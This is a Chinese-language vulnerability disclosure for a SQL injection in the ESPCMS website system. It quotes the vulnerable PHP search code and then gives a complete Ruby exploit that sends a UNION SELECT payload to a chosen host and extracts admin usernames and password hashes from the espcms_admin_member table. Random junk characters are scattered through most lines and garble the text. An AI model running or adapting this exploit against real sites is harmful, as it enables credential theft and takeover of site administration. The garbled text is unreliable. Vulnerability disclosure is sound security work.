0×0 漏洞概述0×1 漏洞细节
/ v' Q8 t5 A$ y3 {% d+ u0×2 PoC3 |2 P! @/ [) ]2 p0 x
" |( c! O O& Y
9 K; K! h6 q: M& K) i8 G, b
" V/ o% q3 {+ d0×0 漏洞概述
" j1 L7 v1 E& z) o( y. s& q4 c
3 E/ t; {5 j6 H7 M! p0 t) J易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。2 Y) v" ~0 c5 h0 [, G) m
其在处理传入的参数时考虑不严谨导致SQL注入发生
. t" j9 ]4 @5 m! B! ], G; r' Y# N6 E' Y4 V7 v' q
( L" u/ }5 h$ k( } f
0×1 漏洞细节
4 A4 f" G8 I C+ [$ M B. I
6 W1 n( j" G$ a$ a变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
o9 ]- R% @8 g: V正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。4 ~0 x0 a# a6 _& Y6 G p
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。" v( ~5 y0 a" J1 e' m# v
. Q/ t+ h( D6 l) u6 `2 F4 ~$ s在/interface/3gwap_search.php文件的in_result函数中:/ e/ g2 @. H6 i5 K5 h5 l
1 A# t# C6 N3 z5 j
3 E3 U: ]% K- R% [0 A( Q7 C0 l: e* ?
7 D' |* g" z' b/ y# _# ?
function in_result() {
( W+ e( |7 Q3 t4 b ... ... ... ... ... ... ... ... ...
% _" L# `# I& N6 ?" n $urlcode = $_SERVER[ 'QUERY_STRING '];
# Y& n; {: ]& p6 q u" B' @ parse_str(html_entity_decode($urlcode), $output);
) |1 ~* `7 W) ~; D# t# I [2 e: ?3 r$ @) R# e+ h7 R" l% W
... ... ... ... ... ... ... ... ...* n7 s2 @* b" M4 ^: g- D
if (is_array($output['attr' ]) && count($output['attr']) > 0) {3 } G8 W" c& z- \3 B
6 f8 c: @; v: c4 z
$db_table = db_prefix . 'model_att';+ Y( a. _" U0 J' ]* T
& k- z1 k; w' Q) w
foreach ($output['attr' ] as $key => $value) {5 G+ i8 @# d" z2 ]; I( e7 r
if ($value) {
" e5 M( ~; I9 e! p1 ?: s1 C9 F$ L0 a( d
$key = addslashes($key);1 R6 j2 ]9 ]# K0 w% p
$key = $this-> fun->inputcodetrim($key);8 Z% f8 K: `+ D) X5 |5 K
$db_att_where = " WHERE isclass=1 AND attrname='$key'";8 g$ F4 w2 k: c: C
$countnum = $this->db_numrows($db_table, $db_att_where);
& v; u! k! A! I% J. U* z! s if ($countnum > 0) {$ B$ H. G9 N. p( z# S* k# L
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;" I, y9 K; C7 j# P% v$ x
}, H: e3 n4 U) e6 d0 v% V
}
! O: @1 Z: _2 D- y0 F4 q8 s }
9 t$ p1 t* s3 q }$ ^6 N* x/ m4 {* G# m
if (!empty ($keyword) && empty($keyname)) {. i- X7 B- S7 O0 P: n
$keyname = 'title';
' p+ S* Y5 `& J/ O& h$ Z2 m $db_where.= " AND a.title like '%$keyword%'" ;
! [3 m! V; V5 ~" w" w! V; d } elseif (!empty ($keyword) && !empty($keyname)) {, W. a* Q4 Q- h0 u2 Q. {, z
$db_where.= " AND $keyname like '% $keyword%'";
; F* b+ v- q0 k }
, `$ L' C+ x! m $pagemax = 15;0 D+ `6 O+ n- v$ @) c
- J/ x0 T$ J5 U) ]$ P $pagesylte = 1;
9 R9 j k$ o9 P9 z: U* `8 F( x% }; D) @( I. M
if ($countnum > 0) {
6 H; Z+ B" e* A' i9 A i# I: T& u, F( f& b* z3 Q+ n3 A) E
$numpage = ceil($countnum / $pagemax);% l" l) N, M- O- R. \
} else {+ N2 f' z" U% p2 o3 @7 P
$numpage = 1;
: d5 Y$ I4 l1 P3 }, {8 w }1 c; _4 s: N7 b2 x: p6 X
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;+ @8 U" M# @/ H
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);' p1 n& H' Z3 z3 a; K' U
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
' }- Y' y4 m. `5 ^+ b5 q* N ... ... ... ... ... ... ... ... ...
8 s' t1 V3 l: ]# e) T5 v }
5 R# \* Z# Y' k8 Z2 C" ^! ^2 ]4 N3 D4 p1 J2 n9 @ s
1 \/ y9 ]7 ^" D O
0×2 PoC; {0 }- M) @# f& `* D( F
! L) W- O3 a% d8 m9 b% |1 d9 a/ @ t& |2 H" u& i" f
7 M8 s6 _. _. o/ T) T r; E0 F
require "net/http"
1 t. k. u' v7 n' K1 M' {1 H( ^7 A6 U: f, Z% D
def request(method, url)" C6 _. h' S0 _# \- h' s9 X4 N
if method.eql?("get"); V i0 @# Z7 c9 V7 o
uri = URI.parse(url)
8 t$ F: v D2 e" \8 k http = Net::HTTP.new(uri.host, uri.port)+ p' I) Y% V% v
response = http.request(Net::HTTP::Get.new(uri.request_uri))
: d; B! I0 ]& _) ~9 H return response
; B* h) x8 O! \. r! N7 y end& M& a2 d# v3 o: w. w* Z, D
end
) I/ w9 M }$ N7 ^5 ^0 N
) M: D: }- z3 D% C8 Q+ g# Jdoc =<<HERE
2 U9 c* ?( g0 L9 H- k" t" ?-------------------------------------------------------; b) S2 U/ p0 _) h! D% Z5 u
Espcms Injection Exploit1 N5 M( k" V+ G6 W
Author:ztz3 t3 I; e- ~& ?' m
Blog:http://ztz.fuzzexp.org/* j8 `8 ?$ k3 d# [3 g L
-------------------------------------------------------, p& X0 `! _ f! p+ t8 u
$ c; A7 i/ H" q" m/ T: a
HERE4 Z, |$ O0 X/ W4 y/ c) x
# s6 |; e% C: P8 fusage =<<HERE
# V& N, H4 `. Q' `/ {4 g v! I, _Usage: ruby #{$0} host port path% g+ ], v0 Y# ?2 c
example: ruby #{$0} www.target.com 80 /; M) {9 {, [! l4 f& @
HERE
: g( z# S4 i5 g( r8 V+ N
% n9 q. X) \& y/ k9 Q$ ?8 z0 P- Bputs doc
# ~: A c7 ^( t( m. Aif ARGV.length < 3
$ E3 H4 Q3 T1 [7 Z% @( u- G puts usage
6 c5 Z+ P2 ^% relse$ N6 S5 i& N! k4 W; i8 O7 K7 Q6 M
$host = ARGV[0]
; d, Q) B5 m0 I4 } P+ n; c: x& D& f $port = ARGV[1]5 o, Q1 ]- s7 R$ }
$path = ARGV[2]) c# C7 R7 j3 }7 c
& ?, G7 P8 Z5 O- z3 ?) v- f
puts "send request..."( `. k: m) l* ~
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&. y4 A% N6 V. O7 a3 i) g
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,133 T5 R" {8 K5 D% Q# x( g
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
5 J" ~9 U7 x) D* J1 |6 x; S) [,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23" b' x* z/ U) `$ x) \ l% j
response = request("get", url)
& Q6 y5 ^: z- a& ^& b- m# R result = response.body.scan(/\w+&\w{32}/)
% |9 k/ ?/ ^* ]; z& c puts result3 H5 @3 O1 ~, u) N/ T/ s
end
- w+ h9 S4 P6 S7 V9 a! [5 |
7 I) t3 t% a! C# p |